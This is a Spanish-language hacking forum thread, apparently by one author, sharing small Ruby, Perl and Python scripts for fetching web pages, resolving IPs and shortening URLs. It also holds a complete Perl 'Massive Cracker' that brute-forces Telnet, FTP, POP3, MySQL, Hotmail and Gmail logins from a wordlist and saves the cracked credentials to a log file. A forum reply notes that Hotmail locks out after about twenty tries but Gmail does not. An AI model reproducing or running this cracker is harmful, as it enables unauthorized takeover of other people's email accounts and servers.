Mensajes

Una simple funcion para cargar una pagina web , la funcion retorna el codigo fuente de la pagina cargada.

Código (ruby) [Seleccionar] Expandir


#!usr/bin/ruby
#Funcion toma()
#Coded By Doddy H

require "net/http"

def toma(web)
  return Net::HTTP.get_response(URI.parse(web)).body
end
 
code = toma("http://127.0.0.1/post.php")
print code

#The End ?


Una simple funcion para cargar una pagina web que usa algun formulario.

Código (ruby) [Seleccionar] Expandir


#!usr/bin/ruby
#Funcion tomar()
#Coded By Doddy H

require "net/http"

def toma(web,par)
  return Net::HTTP.post_form(URI.parse(web),par).body
end
 
code = toma("http://127.0.0.1/post.php",{"te"=>"probando","ok1"=>"ok"})
print code

#The End ?


Nada del otro mundo , un simple codigo en ruby para conocer la IP de cualquier host.

Código (ruby) [Seleccionar] Expandir


#!usr/bin/ruby
#Resolve IP 0.1
#Coded By Doddy H

require "resolv"

def head()
  print "-- == Resolve IP 0.1 == --\n"
end

def copyright()
  print "\n(C) Doddy Hackman 2012\n"
  exit(1)
end

def sintax()
  print "\n\n[+] ruby resolve.rb <host>\n\n"
end

head()
if !ARGV[0]
  sintax()
else
  ip =Resolv.getaddress(ARGV[0])
  print "\n\n[+] IP : ",ip,"\n\n"   
end
copyright()

#The End ?


Tienes razón, gracias



PD: He encontrado este script que funciona escribiendo la url en el formato que quiera xD

Código (python) [Seleccionar] Expandir

#!/usr/bin/env python

from urllib import urlopen
import sys
import re

if len(sys.argv) != 2:
   sys.exit(1)

page = urlopen('http://tinyurl.com/create.php?url=' + sys.argv[1])

url = ''
t_re = re.compile('<b>(http://tinyurl.com/.*)</b><br>')

for i in page.readlines():
   if t_re.search(i):
       print t_re.search(i).group(1)

la diferencia que hay en este script con el mio es que yo use la API de la pagina

Código [Seleccionar] Expandir


http://tinyurl.com/api-create.php


un simple script para simplificar URLS.

Código (perl) [Seleccionar] Expandir


#!usr/bin/perl
#URL Shorter 0.1
#Coded By Doddy H

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

head();
print "\n\n\n\n[+] URL : ";
chomp( my $url = <stdin> );
my $code = $nave->get( "http://tinyurl.com/api-create.php?url=" . $url );
if ( $code->is_success ) {
   my $link = $code->content;
   print "\n\n[+] URL Shorter : $link\n";
}
copyright();

sub head {

   print qq(


@    @  @@@@@   @         @@@   @                        
@    @  @    @  @        @   @  @              @          
@    @  @    @  @        @      @              @          
@    @  @    @  @        @      @ @@   @@@  @@ @@  @@@  @@
@    @  @@@@@   @         @@@   @@  @ @   @ @  @  @   @ @
@    @  @    @  @            @  @   @ @   @ @  @  @@@@@ @
@    @  @    @  @            @  @   @ @   @ @  @  @     @
@    @  @    @  @        @   @  @   @ @   @ @  @  @   @ @
 @@@@   @    @  @@@@@     @@@   @   @  @@@  @   @  @@@  @


                                       
                                   Coded By Doddy H
);

}

sub copyright {
   print "\n\n(C) Doddy Hackman 2012\n\n";
   <stdin>;
   exit(1);
}

# The End ?



un simple script para simplificar URLS.

Código (python) [Seleccionar] Expandir


#!usr/bin/python
#URL Shorter 0.1
#Coded By Doddy H

import urllib2,re,sys

def toma(web) :
nave = urllib2.Request(web)
nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
op = urllib2.build_opener()
return op.open(nave).read()

def head():
print """


@    @  @@@@@   @         @@@   @                         
@    @  @    @  @        @   @  @              @         
@    @  @    @  @        @      @              @         
@    @  @    @  @        @      @ @@   @@@  @@ @@  @@@  @@
@    @  @@@@@   @         @@@   @@  @ @   @ @  @  @   @ @
@    @  @    @  @            @  @   @ @   @ @  @  @@@@@ @
@    @  @    @  @            @  @   @ @   @ @  @  @     @
@    @  @    @  @        @   @  @   @ @   @ @  @  @   @ @
  @@@@   @    @  @@@@@     @@@   @   @  @@@  @   @  @@@  @


                                       
                                    Coded By Doddy H
"""

def copyright():
print "\n\n(C) Doddy Hackman 2012\n"
raw_input()
sys.exit(1)

head()

url = raw_input("\n\n[+] URL : ")

try:
code = toma("http://tinyurl.com/api-create.php?url="+url)
print "\n[+] URL Shorter : "+code
except:
print "[-] Error\n"

copyright()

# The End


un simple script para simplificar URLS.

Código (ruby) [Seleccionar] Expandir


#!usr/bin/ruby
#URL Shorter 0.1
#Coded By Doddy H

require "net/http"

def head()
print "


@    @  @@@@@   @         @@@   @                         
@    @  @    @  @        @   @  @              @         
@    @  @    @  @        @      @              @         
@    @  @    @  @        @      @ @@   @@@  @@ @@  @@@  @@
@    @  @@@@@   @         @@@   @@  @ @   @ @  @  @   @ @
@    @  @    @  @            @  @   @ @   @ @  @  @@@@@ @
@    @  @    @  @            @  @   @ @   @ @  @  @     @
@    @  @    @  @        @   @  @   @ @   @ @  @  @   @ @
  @@@@   @    @  @@@@@     @@@   @   @  @@@  @   @  @@@  @


                                       
                                    Coded By Doddy H
"

end

def copyright()
print "\n\n\n(C) Doddy Hackman 2012\n\n"
gets.chomp
exit(1)
end

def toma(web)
return Net::HTTP.get_response(URI.parse(web)).body
end

head()

print "\n\n\n[+] URL : "
url = gets.chomp

code = toma("http://tinyurl.com/api-create.php?url="+url)
print "\n[+] URL Shorter : "+code

copyright()

# The End ?


Eso no debe servir, no? Ya que Hotmail bloquea la cuenta después de tantos intentos fallidos...

buena observacion , al intento 20 ya no se puede tener buenos resultados en esa opcion, pero la opcion de Gmail no tiene ese problema.

Hola , aca les traigo una mejora de un antiguo cracker que hice hace tiempo.

Las opciones de crack que tiene son

• Telnet
  
• FTP
  
• POP3
  
• Mysql
  
• Hotmail
  
• Gmail
  
  
  Ademas guarda todos los registros en un archivo de texto que el mismo programa crea.
  
  
  Código (perl) [Seleccionar] Expandir
  
#!usr/bin/perl
#Massive Cracker 0.3
#Coded By Doddy H
#http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm
#ppm install http://www.bribes.org/perl/ppm/DBI.ppd
#ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
#http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd

use Net::FTP;
use Net::POP3;
use Net::Telnet;
use DBI;

use Mail::POP3Client;
use IO::Socket::SSL;

head();

print "[+] Option :  ";
chomp( my $op = <stdin> );

if ( $op eq "1" ) {

    my ( $host, $user, $word ) = form1();
    my @words = openwordlist($word);

    print "[+] Cracking service Telnet";

    for my $pass (@words) {
        chomp $pass;

        $telnet = new Net::Telnet( Errmode => "return" );
        $telnet->open($host);
        if ( $telnet->login( $user, $pass ) ) {
            yeah( $host, $user, $pass, "Telnet" );
        }
        $telnet->close;

    }

    print "\n\n[-] Password Not Found\n";

}

elsif ( $op eq "2" ) {

    my ( $host, $user, $word ) = form1();
    my @words = openwordlist($word);

    print "[+] Cracking service FTP";

    for my $pass (@words) {
        chomp $pass;
        $ftp = Net::FTP->new($host);
        if ( $ftp->login( $user, $pass ) ) {
            yeah( $host, $user, $pass, "FTP" );
        }
        $ftp->quit;
    }

    print "\n\n[-] Password Not Found\n";

}
elsif ( $op eq "3" ) {

    my ( $host, $user, $word ) = form1();
    my @words = openwordlist($word);

    print "[+] Cracking service POP3";

    for my $pass (@words) {
        chomp $pass;

        $pop = Net::POP3->new($host);
        if ( $pop->login( $user, $pass ) ) {
            yeah( $host, $user, $pass, "POP3" );
        }
        $pop->quit();
    }

    print "\n\n[-] Password Not Found\n";

}

elsif ( $op eq "4" ) {

    my ( $host, $user, $word ) = form1();
    my @words = openwordlist($word);

    print "[+] Cracking service Mysql";

    $target = "dbi:mysql::" . $host . ":3306";

    for my $pass (@words) {
        chomp $pass;

        if ( my $now =
            DBI->connect( $target, $user, $pass, { PrintError => 0 } ) )
        {
            yeah( $host, $user, $pass, "Mysql" );
        }
    }

    print "\n\n[-] Password Not Found\n";

}

elsif ( $op eq "5" ) {

    my ( $user, $word ) = form2();
    my @words = openwordlist($word);

    print "[+] Cracking account Hotmail";

    for my $pass (@words) {
        chomp $pass;

        my $so = IO::Socket::SSL->new(
            PeerAddr => "pop3.live.com",
            PeerPort => 995,
            Proto    => "tcp"
        );

        my $nave = Mail::POP3Client->new();

        $nave->User($user);
        $nave->Pass($pass);
        $nave->Socket($so);

        if ( $nave->Connect() ) {
            yeahmail( "Hotmail", $user, $pass );
        }

        $so->close();
        $nave->close();

    }

}

elsif ( $op eq "6" ) {

    my ( $user, $word ) = form2();
    my @words = openwordlist($word);

    print "[+] Cracking account Gmail";

    for my $pass (@words) {
        chomp $pass;

        my $so = IO::Socket::SSL->new(
            PeerAddr => "pop.gmail.com",
            PeerPort => 995,
            Proto    => "tcp"
        );

        my $nave = Mail::POP3Client->new();

        $nave->User($user);
        $nave->Pass($pass);
        $nave->Socket($so);

        if ( $nave->Connect() ) {
            yeahmail( "Gmail", $user, $pass );
        }

        $so->close();
        $nave->close();

    }

}

else {
    print "\n\n[+] Bad Option\n";
}

copyright();

sub yeah {

    print "\a\a\n\n[+] Cracked\n\n";
    print "[Host] : $_[0]\n";
    print "[User] : $_[1]\n";
    print "[Password] : $_[2]\n";

    savefile( "cracked-logs.txt",
        $_[3] . ":" . $_[0] . ":" . $_[1] . ":" . $_[2] );

    copyright();

}

sub yeahmail {

    print "\a\a\n\n[+] Cracked\n\n";
    print "[Account Type] : $_[0]\n";
    print "[User] : $_[1]\n";
    print "[Password] : $_[2]\n";

    savefile( "cracked-logs.txt", $_[0] . ":" . $_[1] . ":" . $_[2] );

    copyright();

}

sub openwordlist {

    my $file = shift;

    print "\n[+] Opening file\n\n";

    unless ( -f $file ) {
        print "\n[-] File not found\n";
        copyright();
    }

    print "[+] Reading file\n\n";

    open( FILE, $file );
    my @words = <FILE>;
    close FILE;

    print "[+] Words Found : " . int(@words) . "\n\n";

    return @words;

}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub form1 {

    print "\n[+] Host : ";
    chomp( my $host = <stdin> );
    print "\n[+] User : ";
    chomp( my $user = <stdin> );
    print "\n[+] Wordlist : ";
    chomp( my $word = <stdin> );

    return ( $host, $user, $word );

}

sub form2 {
    print "\n[+] Email : ";
    chomp( my $email = <stdin> );
    print "\n[+] Wordlist : ";
    chomp( my $word = <stdin> );

    return ( $email, $word );
}

sub head {
    print qq(

@     @                                    @@@@                 @             
@     @                                   @    @                @             
@@   @@                                   @                     @             
@@   @@   @@@   @@   @@  @ @   @  @@@     @      @@  @@@   @@@  @  @   @@@  @@
@ @ @ @      @ @  @ @  @ @ @   @ @   @    @      @      @ @   @ @ @   @   @ @
@ @ @ @   @@@@  @    @   @  @ @  @@@@@    @      @   @@@@ @     @@    @@@@@ @
@  @  @  @   @   @    @  @  @ @  @        @      @  @   @ @     @ @   @     @
@  @  @  @   @ @  @ @  @ @   @   @   @    @    @ @  @   @ @   @ @  @  @   @ @
@     @   @@@@  @@   @@  @   @    @@@      @@@@  @   @@@@  @@@  @   @  @@@  @

                             
                                                   
                                           
                                              Coded By Doddy H





[++] Services

[1] : Telnet
[2] : FTP
[3] : POP3
[4] : Mysql
[5] : Hotmail
[6] : Gmail



);
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n\n";
    <stdin>;
    exit(1);
}

#The End ?



creo que es porque no lo instalaste , para usarlo necesitas que el sitio al que estas usando te permita usar Mysql , despues , en el codigo php tenes que poner el nombre de la BD que vas a usar u otros datos necesarios para la conexion , despues lo instalas como ves en el codigo de ejemplo.